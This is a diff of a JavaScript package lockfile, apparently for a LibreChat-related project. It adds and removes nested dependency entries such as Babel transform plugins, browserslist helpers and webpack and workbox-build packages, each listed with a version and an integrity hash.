+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+
+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+
"log-update/slice-ansi/ansi-styles": ["ansi-styles@6.2.1", "", {}, "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug=="],
"log-update/slice-ansi/is-fullwidth-code-point": ["is-fullwidth-code-point@5.0.0", "", { "dependencies": { "get-east-asian-width": "^1.0.0" } }, "sha512-OVa3u9kkBbw7b8Xw5F9P+D/T9X+Z4+JruYVNapTjPYZYUznQ5YfWeFkOj606XYYW8yugTfC8Pj0hYqvi4ryAhA=="],
@@ -8123,39 +7529,17 @@
"pkg-dir/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
- "postcss-colormin/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-colormin/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
"postcss-colormin/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-convert-values/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-convert-values/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
"postcss-convert-values/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-merge-rules/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-merge-rules/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
"postcss-merge-rules/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-minify-params/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-minify-params/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
"postcss-minify-params/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-normalize-unicode/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-normalize-unicode/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
-
"postcss-normalize-unicode/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-reduce-initial/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "postcss-reduce-initial/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
+ "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"postcss-reduce-initial/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
@@ -8189,39 +7573,149 @@
"rollup-plugin-typescript2/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
- "stylehacks/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
-
- "stylehacks/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
+ "schema-utils/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
"stylehacks/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"sucrase/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "sucrase/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
"sucrase/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"svgo/css-select/domhandler": ["domhandler@4.3.1", "", { "dependencies": { "domelementtype": "^2.2.0" } }, "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ=="],
"svgo/css-select/domutils": ["domutils@2.8.0", "", { "dependencies": { "dom-serializer": "^1.0.1", "domelementtype": "^2.2.0", "domhandler": "^4.2.0" } }, "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A=="],
- "tailwindcss/postcss/nanoid": ["nanoid@3.3.8", "", { "bin": "bin/nanoid.cjs" }, "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w=="],
-
"tailwindcss/postcss-load-config/lilconfig": ["lilconfig@3.0.0", "", {}, "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g=="],
+ "terser-webpack-plugin/jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
+
"unist-util-remove-position/unist-util-visit/unist-util-is": ["unist-util-is@5.2.1", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw=="],
"unist-util-remove-position/unist-util-visit/unist-util-visit-parents": ["unist-util-visit-parents@5.1.3", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0" } }, "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg=="],
- "vasync/verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
-
"vfile-location/vfile/unist-util-stringify-position": ["unist-util-stringify-position@3.0.3", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg=="],
"vfile-location/vfile/vfile-message": ["vfile-message@3.1.4", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^3.0.0" } }, "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw=="],
+ "webpack/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "webpack/eslint-scope/estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="],
+
+ "webpack/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
+
"winston-daily-rotate-file/winston-transport/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
- "winston-daily-rotate-file/winston-transport/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
+ "workbox-build/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-transform-optional-chaining": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.23.7", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.23.9", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20", "@babel/plugin-syntax-async-generators": "^7.8.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.23.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.23.4", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-class-static-block": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.23.8", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-split-export-declaration": "^7.22.6", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/template": "^7.22.15" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.23.3", "", { "dependencies": { "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.23.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.23.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-json-strings": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.23.9", "", { "dependencies": { "@babel/helper-hoist-variables": "^7.22.5", "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-identifier": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw=="],
+
